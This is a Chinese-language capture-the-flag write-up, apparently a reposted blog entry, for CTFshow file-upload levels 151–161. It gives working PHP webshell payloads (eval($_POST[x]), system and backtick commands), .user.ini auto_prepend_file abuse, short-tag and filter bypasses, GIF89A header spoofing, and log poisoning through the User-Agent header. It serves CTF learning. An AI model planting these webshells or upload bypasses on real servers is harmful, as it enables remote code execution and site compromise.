赞
踩
CTFSHOW-文件上传-151到161关卡
151 152-JS验证+MIME
Content-Type: image/png
153-JS验证+user.ini
https://www.cnblogs.com/NineOne/p/14033391.html
.user.ini:auto_prepend_file=test.png
test.png:<?php eval($_POST[x]);?>
154 155-JS验证+user.ini+短标签
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script> //不需要修改参数开关
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST[x]);?>
156 JS验证+user.ini+短标签+过滤
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST{x});?>
157 158 159 JS验证+user.ini+短标签+过滤
使用反引号运算符的效果与函数 shell_exec()相同
.user.ini:auto_prepend_file=test.png
test.png:<?=system('tac ../fl*')?>
test.png:<? echo `tac /var/www/html/f*`?>
160 JS验证+user.ini+短标签+过滤
包含默认日志,日志记录UA头,UA头写后门代码
.user.ini:auto_prepend_file=test.png
test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
161 JS验证+user.ini+短标签+过滤+文件头
文件头部检测是否为图片格式文件
.user.ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
后门代码:<?php eval($_POST[x]);?>
post:x=system('ls');
修改前端代码
上传包含后门代码的php文件
通过POST提交指令x=system('tac ../flag.php');
通过修改前端代码,发现上传失败,先正常上传png,通过抓包猜测,限制了content-Type
继续修改前端代码。抓包,修改信息
使用到了.user.ini的文件配置漏洞
.user.ini实际上就是一个可以由用户“自定义”的php.ini
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
.user.ini : auto_prepend_file=1.png
1.png : <?php eval($_POST[x]);?>
post : x=system('tac ../flag.php');
.user.ini 父目录中是自动带有index.php
当内容检测中,过滤了<?php ?>,可以使用一下方法
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script> //不需要修改参数开关
这一关过滤的php,所以<?php eval($_POST[x]);?> 换为<?=eval($_POST[x]);?>
和154关的过关方法是一样的
发现存在过滤
过关方法:
png:<?=eval($_POST{x});?>
直接访问/upload/ post:x=system('tac ../flag.php'); 显示flag
发现存在内容检测过滤
但把[]去掉后,发现上传成功,说明对大括号进行过滤了,换{}试试
过关方法:
png:<?=system('tac ../flag.*')?>
直接访问/upload/ 显示flag
自动执行了代码<?=system('tac ../flag.*')?>
和157关的方法是一样的
过关方法:1.png:<?= `tac ../fl*` ?>
.user.ini:auto_prepend_file=1.png
直接访问http://520b52c2-b233-4095-beb0-a8d8fe9a27b9.challenge.ctf.show/upload
解题方法:
png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
.user.ini : auto_prepend_file=1.png
可以看到服务器的访问日志记录,发现了很多UA头,所以在UA头上做手脚
成功拿到flag
发现什么内容也无法上传
发现限制了文件类型内容,内容加GIF89A
#知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。